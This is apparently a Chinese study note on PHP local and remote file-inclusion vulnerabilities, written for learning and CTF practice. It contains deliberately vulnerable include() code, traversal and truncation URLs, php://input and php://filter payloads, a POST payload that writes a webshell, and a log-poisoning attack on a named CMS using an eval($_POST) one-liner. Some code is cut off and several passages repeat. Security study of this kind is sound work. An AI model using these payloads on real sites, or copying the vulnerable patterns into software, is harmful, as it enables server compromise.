程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这中文件调用的过程一般被称为文件包含。
程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,
但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。
几乎所有脚本语言都会提供文件包含的功能。
在PHP中经常出现包含漏洞,但这并不意味这其他语言不存在。
http://127.0.0.1:8080/include.php?filename=1.txt
http://127.0.0.1:8000/include.php?filename=../../../www.txt
$filename = $_GET['filename'];
include($filename);
?>
没有限制文件类型
$filename = $_GET['filename'];
include($filename.".html");
?>
这就是一个有限制的php文件,限制了要包含的文件得是html格式的。无法直接文件包含。
Windows以及Linux系统文件、文件夹命名规则 - Mrnx - 博客园 (cnblogs.com)
http://127.0.0.1/include.php?filename=phpinfo.php/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
http://127.0.0.1/include.php?filename=phpinfo.php…
http://127.0.0.1:8080/iclude.php?filename=http://www.xiaodi8.com/readme.txt
http://127.0.0.1:8080/iclude.php?filename=http://www.xiaodi8.com/readme.txt%20
http://127.0.0.1:8080/iclude.php?filename=http://www.xiaodi8.com/readme.txt%23
http://127.0.0.1:8080/iclude.php?filename=http://www.xiaodi8.com/readme.txt?
远程文件包含RFI(remote file include):当被包含的文件在第三方服务器时,叫做远程文件包含。
这就是一个有限制的php文件,限制了要包含的文件得是html格式的。无法直接文件包含。
http://127.0.0.1:8080/iclude.php?filename=http://www.xiaodi8.com/readme.txt
http://127.0.0.1:8080/iclude.php?filename=http://www.xiaodi8.com/readme.txt%20
http://127.0.0.1:8080/iclude.php?filename=http://www.xiaodi8.com/readme.txt%23
http://127.0.0.1:8080/iclude.php?filename=http://www.xiaodi8.com/readme.txt?
事实就是支持的协议和封装的协议12种
file:// - 访问本地文件系统
http:// - 访问http网站
ftp:// - 访问FTP(s)URLS
php:// - 访问各个输入输出流
zlib:// - 压缩流
data:// - 数据(RFC 2397)
glob:// -查找匹配的文件路径模型
ssh2:// - Secure Shell 2
rar:// - RAR
ogg:// - 音频流
expect:// - 处理交互式的流
在php.ini里有两个重要的参数allow_url_fopen、allow_url_include。
allow_url_fopen:默认值是ON。允许url里的封装协议访问文件;
allow_url_include:默认值是OFF。不允许包含url里的封装协议包含文件;
更多详细的内容,参见php伪协议
include()
当使用include()函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行。
include_once()
include_once 语句在脚本执行期间包含并运行指定文件。此行为和 include 语句类似,唯一区别是如果该文件中已经被包含过,则不会再次包含,且 include_once 会返回 true
。
include_once 可以用于在脚本执行期间同一个文件有可能被包含超过一次的情况下,想确保它只被包含一次以避免函数重定义,变量重新赋值等问题。
require()
当使用require()函数包含文件时,只要程序一执行就会立即调用文件,发生错误的时候会输出错误信息,并且终止脚本的运行。
require_once()
require_once表达式和 require 表达式完全相同,唯一区别是 PHP 会检查该文件是否已经被包含过,如果是则不会再次包含。
<%@ include file="head.jsp"%>
php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。
注:当enctype=”multipart/form-data”时,php://input是无效的。
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
fputs(fopen('shell.php','w'),''); ?>
用于访问本地文件系统。当指定了一个相对路径(不以/、、\或 Windows 盘符开头的路径)提供的路径将基于当前的工作目录。
用法:
[http:``//网络路径和文件名]
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt
URL 形式,允许通过 HTTP 1.0 的 GET方法,以只读访问文件或资源,通常用于远程包含。
用法:
[http:``//网络路径和文件名]
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt
php:``//filter/read=convert.base64-encode/resource=[文件名]
http:``//127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php
cms下载地址:
https://pan.baidu.com/s/1x_mwVF–xxmoKAvDJ8mRsw 提取码:xiao
安装成功后
本地包含一句话木马
http://127.0.0.1/ekucms/?s=my/show/id/{~eval($_POST[orange])}
会在网站的/temp/Logs/目录下生成一个错误日志,命名规则为年_月_日
进行包含错误日志,地址:
http://127.0.0.1/ekucms/s=my/show/id/\..\temp\Logs\22_03_18.log
php://filter/read=convert.base64-encode/resource=index.php
base64decode后获得
<html>
<title>asdf</title>
error_reporting(0);
if(!$_GET[file]){echo 'click me? no';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:nctf{edulcni_elif_lacol_si_siht}
?>
</html>
http://eci-2ze9jhti3uz65oa1lq15.cloudeci1.ichunqiu.com/?path=php://in
put
Post:
http://eci-2ze9jhti3uz65oa1lq15.cloudeci1.ichunqiu.com/?path=php://fil
ter/read=convert.base64-encode/resource=dle345aae.php
http://4.chinalover.sinaapp.com/web7/index.php
https://www.cnblogs.com/endust/p/11804767.html
https://pan.baidu.com/s/1x_mwVF–xxmoKAvDJ8mRsw 提取码:xiao
$filename=$_GET['filename'];
include($filename);
/*
$filename=$_GET['filename'];
include($filename.".html");
*/
?>